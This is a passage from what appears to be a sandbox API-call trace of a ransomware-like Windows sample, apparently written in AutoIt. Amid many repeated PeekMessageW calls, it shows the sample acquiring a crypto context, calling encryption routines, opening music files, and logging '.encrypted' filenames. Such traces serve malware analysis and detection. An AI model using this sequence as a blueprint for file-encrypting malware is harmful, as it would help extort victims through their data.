wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.216] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0027.216] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.217] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0027.217] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.217] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.217] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.217] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0027.217] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.218] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.218] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.218] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.218] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.218] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.218] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.218] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.218] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.218] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.218] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.218] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.218] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.218] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.218] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.218] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.218] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0027.220] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.220] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.220] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.220] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0027.220] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.220] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.220] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.220] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.220] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.220] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.220] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0027.220] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.220] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.220] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.220] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.221] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.222] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.222] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.222] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0027.222] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.222] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.222] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.222] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.222] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.223] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0027.223] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=7161) returned 1 [0027.223] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.223] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0027.223] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0027.223] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x1bf9, lpOverlapped=0x0) returned 1 [0027.223] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0027.223] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x1bf9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.223] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=7161) returned 1 [0027.223] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\N4RwM_lBui1y47yE.encrypted.wav\r\n", cchWideChar=77, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 77 [0027.223] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\N4RwM_lBui1y47yE.encrypted.wav\r\n", cchWideChar=77, lpMultiByteStr=0xe8f406a490, cbMultiByte=77, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\N4RwM_lBui1y47yE.encrypted.wav\r\n", lpUsedDefaultChar=0x0) returned 77 [0027.223] WriteFile (in: hFile=0x188, lpBuffer=0xe8f4069cb0*, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4069cb0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x4c, lpOverlapped=0x0) returned 1 [0027.223] CloseHandle (hObject=0x188) returned 1 [0027.224] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.224] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.225] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.225] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.225] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.225] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0027.225] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.226] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0027.226] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0027.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178a00, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0027.226] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0027.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0027.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178a80, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0027.227] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0027.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\NIF5N.mp3", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0027.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\NIF5N.mp3", cchWideChar=54, lpMultiByteStr=0xe8f404bcd0, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\NIF5N.mp3", lpUsedDefaultChar=0x0) returned 54 [0027.227] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\NIF5N.mp3" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q\\nif5n.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0027.227] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=54, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 54 [0027.227] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=54, lpWideCharStr=0xe8f4065670, cchWideChar=54 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\NIF5N.mp3") returned 54 [0027.227] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0027.228] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.228] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.228] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0027.228] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0027.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0027.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178680, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0027.229] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0027.229] CloseHandle (hObject=0x188) returned 1 [0027.229] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0027.229] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.229] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.229] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0027.229] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.229] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0027.229] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0027.229] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.229] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.229] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.229] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.229] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.229] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.229] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0027.230] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0027.230] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.230] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.230] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.230] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.230] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.230] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.230] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.230] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.230] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.230] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.230] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0027.230] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.230] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.230] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.230] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0027.230] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.230] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.230] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.230] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.230] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.230] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0027.230] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.230] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40632e0) returned 1 [0027.231] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.231] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.231] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0027.231] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.231] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.231] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.231] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.231] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.231] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.231] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.231] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.231] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.231] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.231] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 